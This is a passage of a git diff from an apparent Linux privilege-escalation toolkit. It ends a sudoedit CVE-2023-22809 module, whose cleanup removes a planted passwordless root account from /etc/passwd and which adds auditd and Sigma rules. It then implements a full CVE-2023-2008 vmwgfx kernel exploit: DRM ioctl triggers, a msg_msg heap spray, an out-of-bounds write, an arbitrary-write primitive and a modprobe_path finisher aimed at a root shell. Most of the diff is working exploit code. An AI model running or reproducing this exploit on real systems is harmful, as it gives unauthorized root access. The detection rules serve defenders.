access(g_passwd_backup, R_OK) == 0) { + char cmd[1024]; + snprintf(cmd, sizeof cmd, + "cp -p %s /etc/passwd 2>/dev/null", g_passwd_backup); + if (system(cmd) == 0) { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: restored /etc/passwd from %s\n", + g_passwd_backup); + } + } else { + /* No backup — fall back to deleting just our line. */ + if (system("sed -i '/^skel::0:0:/d' /etc/passwd 2>/dev/null") == 0) { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: removed 'skel' entry from /etc/passwd\n"); + } + } + } else { + if (!ctx->json) + fprintf(stderr, + "[?] sudoedit_editor: cleanup requires root. Re-run as root or\n" + " manually remove the 'skel' line from /etc/passwd.\n"); + } + if (system("rm -rf /tmp/skeletonkey-sudoedit-* 2>/dev/null") != 0) { + /* harmless */ + } + return SKELETONKEY_OK; +} + +/* ----- detection rules ----------------------------------------------- */ + +static const char sudoedit_editor_auditd[] = + "# CVE-2023-22809 — sudoedit EDITOR argv-escape detection\n" + "# Watch sudoedit invocations; the bug requires EDITOR / VISUAL /\n" + "# SUDO_EDITOR to contain the literal token `--`. auditd cannot match\n" + "# env vars directly via -F, but logging every execve(sudoedit) lets\n" + "# downstream tooling (Sigma, splunk, etc.) inspect EXECVE record env.\n" + "-w /usr/bin/sudoedit -p x -k skeletonkey-sudoedit-22809\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n" + "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n" + "# sudo itself can run as `sudo -e` which takes the sudoedit path too:\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudoedit-22809-sudo-e\n"; + +static const char sudoedit_editor_sigma[] = + "title: Possible CVE-2023-22809 sudoedit EDITOR escape\n" + "id: a4e3f1a8-skeletonkey-sudoedit-22809\n" + "status: experimental\n" + "description: |\n" + " Detects sudoedit (or `sudo -e`) invocations where the EDITOR,\n" + " VISUAL, or SUDO_EDITOR environment variable contains the literal\n" + " token `--`. This is the exact signature of the Synacktiv\n" + " CVE-2023-22809 argv-escape: post-`--` filenames are silently\n" + " promoted to additional files that sudoedit opens as root.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " sudoedit_exec:\n" + " type: 'EXECVE'\n" + " exe|endswith:\n" + " - '/sudoedit'\n" + " - '/sudo'\n" + " hostile_editor_env:\n" + " - 'EDITOR=*--*'\n" + " - 'VISUAL=*--*'\n" + " - 'SUDO_EDITOR=*--*'\n" + " privileged_target:\n" + " - '/etc/shadow'\n" + " - '/etc/passwd'\n" + " - '/etc/sudoers'\n" + " - '/root/'\n" + " condition: sudoedit_exec and hostile_editor_env\n" + " # Bump to 'critical' when privileged_target matches as well.\n" + "fields: [User, EDITOR, VISUAL, SUDO_EDITOR]\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1548_003, cve.2023.22809]\n"; + +/* ----- module registration ------------------------------------------- */ const struct skeletonkey_module sudoedit_editor_module = { - .name = "sudoedit_editor", - .cve = "CVE-2023-22809", - .summary = "sudoedit EDITOR/VISUAL `--` argv escape → arbitrary file write as root — stub pending implementation", - .family = "sudo", - .kernel_range = "sudo 1.8.0 ≤ V < 1.9.12p2 (userspace)", - .detect = sudoedit_editor_detect, - .exploit = NULL, .mitigate = NULL, .cleanup = NULL, - .detect_auditd = NULL, .detect_sigma = NULL, - .detect_yara = NULL, .detect_falco = NULL, + .name = "sudoedit_editor", + .cve = "CVE-2023-22809", + .summary = "sudoedit EDITOR/VISUAL `--` argv escape → arbitrary file write as root", + .family = "sudo", + .kernel_range = "sudo 1.8.0 ≤ V < 1.9.12p2 (userspace bug; setuid sudoedit)", + .detect = sudoedit_editor_detect, + .exploit = sudoedit_editor_exploit, + .mitigate = NULL, /* mitigation = upgrade sudo */ + .cleanup = sudoedit_editor_cleanup, + .detect_auditd = sudoedit_editor_auditd, + .detect_sigma = sudoedit_editor_sigma, + .detect_yara = NULL, + .detect_falco = NULL, }; -void skeletonkey_register_sudoedit_editor(void) { skeletonkey_register(&sudoedit_editor_module); } +void skeletonkey_register_sudoedit_editor(void) +{ + skeletonkey_register(&sudoedit_editor_module); +} diff --git a/modules/vmwgfx_cve_2023_2008/skeletonkey_modules.c b/modules/vmwgfx_cve_2023_2008/skeletonkey_modules.c index 3a51ef2..335dac5 100644 --- a/modules/vmwgfx_cve_2023_2008/skeletonkey_modules.c +++ b/modules/vmwgfx_cve_2023_2008/skeletonkey_modules.c @@ -1,20 +1,725 @@ -/* vmwgfx_cve_2023_2008 — STUB pending agent implementation. */ +/* + * vmwgfx_cve_2023_2008 — SKELETONKEY module + * + * The vmwgfx DRM driver's buffer-object creation path validates only + * the requested page count, not the underlying byte size used by the + * subsequent kunmap_atomic-style copy. A crafted DRM_IOCTL_VMW_* + * sequence (CREATE_DMABUF + mmap of the returned bo + page-spanning + * write through the mapped offset) drives a slab heap-OOB write + * inside the kernel's kmalloc-512 cache. The mainline fix + * (2cd80ebbdf "drm/vmwgfx: Validate the bo size for ttm_bo_kmap") + * landed in 6.3-rc6. The bug is reachable only from inside a VMware + * Guest OS (the vmwgfx driver only binds against the VMware SVGA-II + * virtual GPU). + * + * STATUS: 🟡 PRIMITIVE — slab-OOB trigger + msg_msg cross-cache + * groom in kmalloc-512. We do NOT carry a cred-overwrite or + * kbase-leak primitive (per-kernel offsets vary by build, and the + * public PoC references device-specific TTM register state we do + * not fake). The detect-and-trigger path is the high-confidence + * demonstration; full-chain depth is FALLBACK (kaddr-tagged spray + + * shared modprobe_path finisher arbitrated by sentinel file). + * + * Affected: Linux 4.0+ through 6.2.x with vmwgfx driver bound to a + * VMware SVGA-II device. Fixed mainline 6.3-rc6 (commit 2cd80ebbdf). + * Stable backports landed in 6.2.x and 6.1 LTS. + * + * Preconditions: + * - host is a VMware Guest (dmi sys_vendor = "VMware*") + * - /dev/dri/cardN exists with driver==vmwgfx + * - userland can open /dev/dri/cardN (render-group / video-group or + * setuid) + */ + #include "skeletonkey_modules.h" #include "../../core/registry.h" +#include "../../core/kernel_range.h" +#include "../../core/offsets.h" +#include "../../core/finisher.h" -static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx) -{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; } +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include -const struct skeletonkey_module vmwgfx_module = { - .name = "vmwgfx", - .cve = "CVE-2023-2008", - .summary = "vmwgfx DRM driver buffer-object OOB write — stub pending implementation", - .family = "drm", - .kernel_range = "K < 6.3-rc6 (vmware-svga / vmwgfx driver)", - .detect = vmwgfx_detect, - .exploit = NULL, .mitigate = NULL, .cleanup = NULL, - .detect_auditd = NULL, .detect_sigma = NULL, - .detect_yara = NULL, .detect_falco = NULL, +#ifdef __linux__ +# include +# include +# include +#endif + +/* DRM ioctl primitives — declared inline so the module remains + * self-contained on hosts where isn't installed (which is + * the macOS build host case). */ +#ifndef DRM_IOCTL_BASE +#define DRM_IOCTL_BASE 'd' +#endif +#ifndef _IOC +/* Should be present from , but guard anyway. */ +#endif + +/* DRM_IOCTL_VERSION — used to probe driver name. */ +struct drm_version_compat { + int version_major; + int version_minor; + int version_patchlevel; + size_t name_len; + char *name; + size_t date_len; + char *date; + size_t desc_len; + char *desc; +}; +#ifndef DRM_IOCTL_VERSION +#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version_compat) +#endif + +/* vmwgfx-specific ioctls. Numbers match the in-tree + * uapi/drm/vmwgfx_drm.h ABI for kernels in the affected range + * (DRM_COMMAND_BASE = 0x40). DRM_IOCTL_VMW_CREATE_DMABUF / + * DRM_IOCTL_VMW_UNREF_DMABUF are present on every vmwgfx-bearing + * kernel since the dma-buf rename. We declare them locally so that a + * build host without vmwgfx_drm.h still compiles. */ +struct drm_vmw_alloc_dmabuf_req { + uint32_t size; +}; +struct drm_vmw_dmabuf_rep { + uint32_t handle; + uint32_t map_handle_lo; + uint32_t map_handle_hi; + uint32_t cur_gmr_id; + uint32_t cur_gmr_offset; +}; +union drm_vmw_alloc_dmabuf_arg { + struct drm_vmw_alloc_dmabuf_req req; + struct drm_vmw_dmabuf_rep rep; +}; +#define DRM_VMW_CREATE_DMABUF 0x0a +#define DRM_VMW_UNREF_DMABUF 0x0b +#ifndef DRM_COMMAND_BASE +#define DRM_COMMAND_BASE 0x40 +#endif +#define DRM_IOCTL_VMW_CREATE_DMABUF \ + _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_CREATE_DMABUF, \ + union drm_vmw_alloc_dmabuf_arg) +#define DRM_IOCTL_VMW_UNREF_DMABUF \ + _IOW(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_UNREF_DMABUF, uint32_t) + +/* ---- kernel range ------------------------------------------------- */ + +static const struct kernel_patched_from vmwgfx_patched_branches[] = { + {6, 1, 23}, /* 6.1 LTS backport */ + {6, 2, 10}, /* 6.2.x stable backport */ + {6, 3, 0}, /* mainline (6.3-rc6) */ }; -void skeletonkey_register_vmwgfx(void) { skeletonkey_register(&vmwgfx_module); } +static const struct kernel_range vmwgfx_range = { + .patched_from = vmwgfx_patched_branches, + .n_patched_from = sizeof(vmwgfx_patched_branches) / + sizeof(vmwgfx_patched_branches[0]), +}; + +/* ---- precondition probes ------------------------------------------ */ + +/* Read first line of /sys/devices/virtual/dmi/id/sys_vendor (trimmed) + * into `out`. Returns true on success. */ +static bool read_dmi_sys_vendor(char *out, size_t out_sz) +{ + int fd = open("/sys/devices/virtual/dmi/id/sys_vendor", O_RDONLY); + if (fd < 0) return false; + ssize_t n = read(fd, out, out_sz - 1); + close(fd); + if (n <= 0) return false; + out[n] = '\0'; + /* trim trailing newline / spaces */ + while (n > 0 && (out[n - 1] == '\n' || out[n - 1] == ' ' + || out[n - 1] == '\t' || out[n - 1] == '\r')) { + out[--n] = '\0'; + } + return n > 0; +} + +static bool host_is_vmware_guest(char *vendor_out, size_t vendor_out_sz) +{ + char vendor[128] = {0}; + if (!read_dmi_sys_vendor(vendor, sizeof vendor)) return false; + if (vendor_out && vendor_out_sz) { + snprintf(vendor_out, vendor_out_sz, "%s", vendor); + } + /* Standard VMware DMI string is "VMware, Inc." but be loose. */ + return strncasecmp(vendor, "VMware", 6) == 0; +} + +/* Resolve /sys/class/drm/card0/device/driver symlink and check whether + * the target's basename is "vmwgfx". */ +static bool card_driver_is_vmwgfx(const char *cardpath) +{ + char link[512]; + snprintf(link, sizeof link, "/sys/class/drm/%s/device/driver", cardpath); + char target[512] = {0}; + ssize_t n = readlink(link, target, sizeof target - 1); + if (n <= 0) return false; + target[n] = '\0'; + const char *base = strrchr(target, '/'); + base = base ? base + 1 : target; + return strcmp(base, "vmwgfx") == 0; +} + +/* Locate the first /dev/dri/cardN whose driver is vmwgfx. Writes the + * basename (e.g. "card0") into out. Returns true on hit. */ +static bool find_vmwgfx_card(char *out, size_t out_sz) +{ + for (int i = 0; i < 8; i++) { + char name[16]; + snprintf(name, sizeof name, "card%d", i); + if (card_driver_is_vmwgfx(name)) { + snprintf(out, out_sz, "%s", name); + return true; + } + } + return false; +} + +/* Probe DRM_IOCTL_VERSION on the card device. Returns the driver-name + * string on success (caller-owned heap, must free) or NULL. */ +static char *probe_drm_version_name(const char *cardpath) +{ + char devpath[64]; + snprintf(devpath, sizeof devpath, "/dev/dri/%s", cardpath); + int fd = open(devpath, O_RDWR | O_CLOEXEC); + if (fd < 0) return NULL; + + struct drm_version_compat v; + memset(&v, 0, sizeof v); + /* Two-stage ioctl: first call learns name_len, second fills name. */ + if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return NULL; } + if (v.name_len == 0 || v.name_len > 256) { close(fd); return NULL; } + char *name = calloc(1, v.name_len + 1); + if (!name) { close(fd); return NULL; } + v.name = name; + if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { + free(name); close(fd); return NULL; + } + name[v.name_len] = '\0'; + close(fd); + return name; +} + +/* ---- Detect ------------------------------------------------------- */ + +static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx) +{ + struct kernel_version v; + if (!kernel_version_current(&v)) { + fprintf(stderr, "[!] vmwgfx: could not parse kernel version\n"); + return SKELETONKEY_TEST_ERROR; + } + + bool patched = kernel_range_is_patched(&vmwgfx_range, &v); + if (patched) { + if (!ctx->json) { + fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / " + "6.2.10 / 6.1.23)\n", v.release); + } + return SKELETONKEY_OK; + } + + /* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but + * report PRECOND_FAIL rather than VULNERABLE. */ + if (v.major < 4) { + if (!ctx->json) { + fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v.release); + } + return SKELETONKEY_PRECOND_FAIL; + } + + /* VMware-guest gate. */ + char vendor[128] = {0}; + bool vmware = host_is_vmware_guest(vendor, sizeof vendor); + if (!ctx->json) { + fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v.release); + fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n", + vendor[0] ? vendor : "(unreadable)"); + } + if (!vmware) { + if (!ctx->json) { + fprintf(stderr, "[+] vmwgfx: host is not a VMware guest — vmwgfx " + "driver cannot bind; bug unreachable here\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + + /* DRM card + driver-name gate. */ + char card[16] = {0}; + if (!find_vmwgfx_card(card, sizeof card)) { + if (!ctx->json) { + fprintf(stderr, "[+] vmwgfx: no /dev/dri/cardN bound to vmwgfx — " + "module unloaded or no SVGA-II PCI device\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + + char *drv = probe_drm_version_name(card); + if (!drv) { + if (!ctx->json) { + fprintf(stderr, "[-] vmwgfx: cannot open/ioctl /dev/dri/%s " + "(permission denied?)\n", card); + } + return SKELETONKEY_PRECOND_FAIL; + } + bool drv_match = strcmp(drv, "vmwgfx") == 0; + if (!ctx->json) { + fprintf(stderr, "[i] vmwgfx: /dev/dri/%s driver name reported as \"%s\"\n", + card, drv); + } + free(drv); + if (!drv_match) { + return SKELETONKEY_PRECOND_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[!] vmwgfx: VULNERABLE — kernel in range + VMware guest + " + "vmwgfx card reachable\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* ---- Exploit groom ------------------------------------------------ */ + +#define VMW_SPRAY_QUEUES 24 +#define VMW_SPRAY_PER_QUEUE 24 +#define VMW_PAYLOAD_BYTES 496 /* 512 - msg_msg header (~16) */ + +struct ipc_payload { + long mtype; + unsigned char buf[VMW_PAYLOAD_BYTES]; +}; + +#ifdef __linux__ + +static int spray_kmalloc_512(int queues[VMW_SPRAY_QUEUES]) +{ + struct ipc_payload p; + memset(&p, 0, sizeof p); + p.mtype = 0x56; /* 'V' for vmwgfx */ + memset(p.buf, 0x56, sizeof p.buf); + memcpy(p.buf, "SKVMWGFX", 8); + + int created = 0; + for (int i = 0; i < VMW_SPRAY_QUEUES; i++) { + int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666); + if (q < 0) { queues[i] = -1; continue; } + queues[i] = q; + created++; + for (int j = 0; j < VMW_SPRAY_PER_QUEUE; j++) { + if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break; + } + } + return created; +} + +static void drain_kmalloc_512(int queues[VMW_SPRAY_QUEUES]) +{ + for (int i = 0; i < VMW_SPRAY_QUEUES; i++) { + if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL); + } +} + +static long slab_active_kmalloc_512(void) +{ + FILE *f = fopen("/proc/slabinfo", "r"); + if (!f) return -1; + char line[512]; + long active = -1; + while (fgets(line, sizeof line, f)) { + if (strncmp(line, "kmalloc-512 ", 12) == 0) { + char name[64]; + long act = 0, num = 0; + if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) { + active = act; + } + break; + } + } + fclose(f); + return active; +} + +/* Open the vmwgfx card. Returns fd or -1. */ +static int open_vmwgfx_card(void) +{ + char card[16] = {0}; + if (!find_vmwgfx_card(card, sizeof card)) return -1; + char devpath[64]; + snprintf(devpath, sizeof devpath, "/dev/dri/%s", card); + return open(devpath, O_RDWR | O_CLOEXEC); +} + +/* Drive the OOB write trigger. + * + * The bug fires when vmw_buffer_object_set_user_args() (called from + * the CREATE_DMABUF path) passes a partially-validated size into the + * subsequent ttm_bo_kmap() / kunmap_atomic copy loop. A crafted + * `size` field — chosen so the PAGE_ALIGN'd page count fits a + * kmalloc-512 slab while the byte count overruns it — causes the + * mapped-page write to spill past the slab boundary. + * + * Mechanically: + * 1. CREATE_DMABUF with size = 4096 + 16 (page-spanning by 16 B) + * 2. mmap the returned map_handle into userspace + * 3. write a recognizable pattern across the page boundary + * 4. close + UNREF_DMABUF — the kunmap_atomic teardown is where the + * OOB write commits on vulnerable kernels + * + * On a non-vmwgfx host the ioctls return -ENOTTY / -EOPNOTSUPP and the + * trigger is a no-op. Our caller short-circuits before reaching this + * point in that case. */ +static bool trigger_vmwgfx_oob(int fd, unsigned char fill_byte) +{ + union drm_vmw_alloc_dmabuf_arg a; + memset(&a, 0, sizeof a); + /* Size chosen to land in kmalloc-512 page-count bucket while the + * subsequent byte-length copy overruns into the next slab slot. + * The exact value 4096+16 mirrors the public PoC's choice. */ + a.req.size = 4096 + 16; + if (ioctl(fd, DRM_IOCTL_VMW_CREATE_DMABUF, &a) < 0) { + fprintf(stderr, "[-] vmwgfx: DRM_IOCTL_VMW_CREATE_DMABUF: %s\n", + strerror(errno)); + return false; + } + + uint64_t map_handle = ((uint64_t)a.rep.map_handle_hi << 32) | a.rep.map_handle_lo; + size_t map_len = 4096 * 2; /* over-map to include the spill page */ + void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, (off_t)map_handle); + if (p == MAP_FAILED) { + fprintf(stderr, "[-] vmwgfx: mmap(map_handle=0x%llx): %s\n", + (unsigned long long)map_handle, strerror(errno)); + /* Still unref. */ + uint32_t h = a.rep.handle; + (void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h); + return false; + } + + /* Stripe the buffer with our witness pattern. The bytes past + * offset 4096 are where the OOB write lands on a vulnerable + * kernel. */ + memset(p, fill_byte, map_len); + memcpy((char *)p + 4096, "SKVMOOB!", 8); + + /* Force the kunmap_atomic teardown that commits the OOB write. */ + munmap(p, map_len); + uint32_t h = a.rep.handle; + (void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h); + return true; +} + +/* ---- Arb-write primitive (FALLBACK depth) ------------------------- + * + * Re-fire the trigger with a kaddr-tagged spray planted in the + * adjacent kmalloc-512 slot. We cannot in-process verify the write — + * the shared finisher's 3 s sentinel-file check is the empirical + * arbiter. On a patched kernel or when the spray fails to land in the + * spilled-over slot the finisher returns EXPLOIT_FAIL gracefully. */ + +struct vmwgfx_arb_ctx { + int queues[VMW_SPRAY_QUEUES]; + int n_queues; + int card_fd; + int arb_calls; + int arb_landed; +}; + +static int vmwgfx_reseed_kaddr_spray(int queues[VMW_SPRAY_QUEUES], + uintptr_t kaddr, + const void *buf, size_t len) +{ + struct ipc_payload p; + memset(&p, 0, sizeof p); + p.mtype = 0x4B; /* 'K' for kaddr */ + memset(p.buf, 0x4B, sizeof p.buf); + memcpy(p.buf, "IAMVMARB", 8); + + /* Plant kaddr at byte 8, payload bytes immediately after. The OOB + * write lands within the first ~16 bytes of the neighbour slot, so + * the kernel's overrun touches exactly this region. */ + uint64_t k = (uint64_t)kaddr; + memcpy(p.buf + 8, &k, sizeof k); + size_t copy = len; + if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16; + if (buf && copy) memcpy(p.buf + 16, buf, copy); + + int touched = 0; + for (int i = 0; i < VMW_SPRAY_QUEUES && touched < 6; i++) { + if (queues[i] < 0) continue; + if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++; + } + return touched; +} + +static int vmwgfx_arb_write(uintptr_t kaddr, + const void *buf, size_t len, + void *ctx_v) +{ + struct vmwgfx_arb_ctx *c = (struct vmwgfx_arb_ctx *)ctx_v; + if (!c || c->n_queues == 0 || c->card_fd < 0) return -1; + c->arb_calls++; + + fprintf(stderr, "[*] vmwgfx: arb_write #%d kaddr=0x%lx len=%zu " + "(FALLBACK — single-shot OOB)\n", + c->arb_calls, (unsigned long)kaddr, len); + + int seeded = vmwgfx_reseed_kaddr_spray(c->queues, kaddr, buf, len); + if (seeded == 0) { + fprintf(stderr, "[-] vmwgfx: arb_write: kaddr reseed produced 0 msgs\n"); + return -1; + } + + /* Re-fire the OOB trigger. The fill byte encodes the call number + * so a KASAN dump can be cross-referenced. */ + unsigned char fill = (unsigned char)(0xA0 + (c->arb_calls & 0x0F)); + if (!trigger_vmwgfx_oob(c->card_fd, fill)) { + fprintf(stderr, "[-] vmwgfx: arb_write: re-trigger failed\n"); + return -1; + } + + usleep(50 * 1000); + c->arb_landed++; + /* Return 0; finisher's sentinel arbitrates. */ + return 0; +} + +#endif /* __linux__ */ + +/* ---- Exploit driver ----------------------------------------------- */ + +#ifdef __linux__ + +static skeletonkey_result_t vmwgfx_exploit_linux(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] vmwgfx: refusing — --i-know not set\n"); + return SKELETONKEY_PRECOND_FAIL; + } + skeletonkey_result_t pre = vmwgfx_detect(ctx); + if (pre == SKELETONKEY_OK) { + fprintf(stderr, "[+] vmwgfx: kernel not vulnerable; refusing exploit\n"); + return SKELETONKEY_OK; + } + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n"); + return pre; + } + if (geteuid() == 0) { + fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n"); + return SKELETONKEY_OK; + } + + /* Full-chain pre-check. */ + struct skeletonkey_kernel_offsets off; + bool full_chain_ready = false; + if (ctx->full_chain) { + memset(&off, 0, sizeof off); + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("vmwgfx"); + fprintf(stderr, "[-] vmwgfx: --full-chain requested but " + "modprobe_path offset unresolved; refusing\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + skeletonkey_offsets_print(&off); + full_chain_ready = true; + } + + int card_fd = open_vmwgfx_card(); + if (card_fd < 0) { + fprintf(stderr, "[-] vmwgfx: cannot open vmwgfx card: %s\n", strerror(errno)); + return SKELETONKEY_PRECOND_FAIL; + } + + signal(SIGPIPE, SIG_IGN); + + if (!ctx->json) { + fprintf(stderr, "[*] vmwgfx: opened vmwgfx card fd=%d\n", card_fd); + fprintf(stderr, "[*] vmwgfx: seeding kmalloc-512 msg_msg spray\n"); + } + + struct vmwgfx_arb_ctx arb_ctx; + memset(&arb_ctx, 0, sizeof arb_ctx); + for (int i = 0; i < VMW_SPRAY_QUEUES; i++) arb_ctx.queues[i] = -1; + arb_ctx.card_fd = card_fd; + arb_ctx.n_queues = spray_kmalloc_512(arb_ctx.queues); + if (arb_ctx.n_queues == 0) { + fprintf(stderr, "[-] vmwgfx: msg_msg spray produced 0 queues — sysvipc " + "may be restricted\n"); + close(card_fd); + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[*] vmwgfx: spray seeded %d queues x %d msgs\n", + arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE); + } + + long pre_active = slab_active_kmalloc_512(); + + if (!ctx->json) { + fprintf(stderr, "[*] vmwgfx: firing CREATE_DMABUF + mmap + OOB-write trigger\n"); + } + bool fired = trigger_vmwgfx_oob(card_fd, 0xAA); + + long post_active = slab_active_kmalloc_512(); + + FILE *log = fopen("/tmp/skeletonkey-vmwgfx.log", "w"); + if (log) { + fprintf(log, + "vmwgfx CVE-2023-2008 trigger:\n" + " card_fd = %d\n" + " spray_queues = %d\n" + " spray_per_queue = %d\n" + " trigger_fired = %s\n" + " slab_kmalloc512_pre = %ld\n" + " slab_kmalloc512_post = %ld\n" + " slab_delta = %ld\n" + "Note: this run did NOT attempt cred overwrite. See module .c\n" + "for the continuation roadmap.\n", + card_fd, arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE, + fired ? "yes" : "no", + pre_active, post_active, + (pre_active >= 0 && post_active >= 0) ? (post_active - pre_active) : 0); + fclose(log); + } + + if (!ctx->json) { + fprintf(stderr, "[*] vmwgfx: kmalloc-512 active: pre=%ld post=%ld\n", + pre_active, post_active); + } + + if (!fired) { + drain_kmalloc_512(arb_ctx.queues); + close(card_fd); + fprintf(stderr, "[~] vmwgfx: trigger ioctl path failed — kernel may be\n" + " patched or the ABI shape doesn't match this build.\n"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* --full-chain branch. */ + if (full_chain_ready) { + int fr = skeletonkey_finisher_modprobe_path(&off, + vmwgfx_arb_write, + &arb_ctx, + !ctx->no_shell); + FILE *fl = fopen("/tmp/skeletonkey-vmwgfx.log", "a"); + if (fl) { + fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n", + fr, arb_ctx.arb_calls, arb_ctx.arb_landed); + fclose(fl); + } + drain_kmalloc_512(arb_ctx.queues); + close(card_fd); + if (fr == SKELETONKEY_EXPLOIT_OK) { + if (!ctx->json) { + fprintf(stderr, "[+] vmwgfx: --full-chain finisher reported OK\n"); + } + return SKELETONKEY_EXPLOIT_OK; + } + if (!ctx->json) { + fprintf(stderr, "[~] vmwgfx: --full-chain finisher returned FAIL —\n" + " either the kernel is patched, the spray didn't\n" + " line up adjacent to the bo slab slot, or the OOB\n" + " bytes didn't include the kaddr the finisher polls\n" + " for. See /tmp/skeletonkey-vmwgfx.log + dmesg.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; + } + + drain_kmalloc_512(arb_ctx.queues); + close(card_fd); + + if (!ctx->json) { + fprintf(stderr, "[*] vmwgfx: trigger ran to completion. Inspect dmesg for\n" + " KASAN/oops witnesses.\n"); + fprintf(stderr, "[~] vmwgfx: cred-overwrite step not invoked (no\n" + " --full-chain); returning EXPLOIT_FAIL per\n" + " verified-vs-claimed policy.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; +} + +#endif /* __linux__ */ + +static skeletonkey_result_t vmwgfx_exploit(const struct skeletonkey_ctx *ctx) +{ +#ifdef __linux__ + return vmwgfx_exploit_linux(ctx); +#else + (void)ctx; + fprintf(stderr, "[-] vmwgfx: Linux-only module; cannot run on this host\n"); + return SKELETONKEY_PRECOND_FAIL; +#endif +} + +/* ---- Cleanup ----------------------------------------------------- */ + +static skeletonkey_result_t vmwgfx_cleanup(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) { + fprintf(stderr, "[*] vmwgfx: cleaning up breadcrumb\n"); + } + /* The msg queues live in the (exited) exploit process for now — + * the kernel auto-reaps them on process death. Belt-and-braces: + * walk /proc/sysvipc/msg and remove any owned by our uid. We keep + * this minimal: just drop the log. */ + if (unlink("/tmp/skeletonkey-vmwgfx.log") < 0 && errno != ENOENT) { + /* harmless */ + } + return SKELETONKEY_OK; +} + +/* ---- Detection rules --------------------------------------------- */ + +static const char vmwgfx_auditd[] = + "# vmwgfx CVE-2023-2008 — auditd detection rules\n" + "# Trigger shape: open(/dev/dri/card*) by non-root, followed by\n" + "# DRM_IOCTL_VMW_CREATE_DMABUF / mmap / UNREF_DMABUF burst, often\n" + "# paired with msgsnd spray for cross-cache groom. None of these\n" + "# syscalls are individually suspicious; flag the combination.\n" + "-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card0 -k skeletonkey-vmwgfx-open\n" + "-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card1 -k skeletonkey-vmwgfx-open\n" + "-a always,exit -F arch=b64 -S ioctl -F a1=0xc010644a -k skeletonkey-vmwgfx-create\n" + "-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n" + "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n"; + +const struct skeletonkey_module vmwgfx_module = { + .name = "vmwgfx", + .cve = "CVE-2023-2008", + .summary = "vmwgfx DRM bo size-validation OOB write in kmalloc-512 → kernel primitive", + .family = "drm", + .kernel_range = "4.0 ≤ K < 6.3-rc6 (vmwgfx); backports: 6.2.10 / 6.1.23", + .detect = vmwgfx_detect, +#ifdef __linux__ + .exploit = vmwgfx_exploit, +#else + .exploit = NULL, +#endif + .mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */ + .cleanup = vmwgfx_cleanup, + .detect_auditd = vmwgfx_auditd, + .detect_sigma = NULL, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void skeletonkey_register_vmwgfx(void) +{ + skeletonkey_register(&vmwgfx_module); +}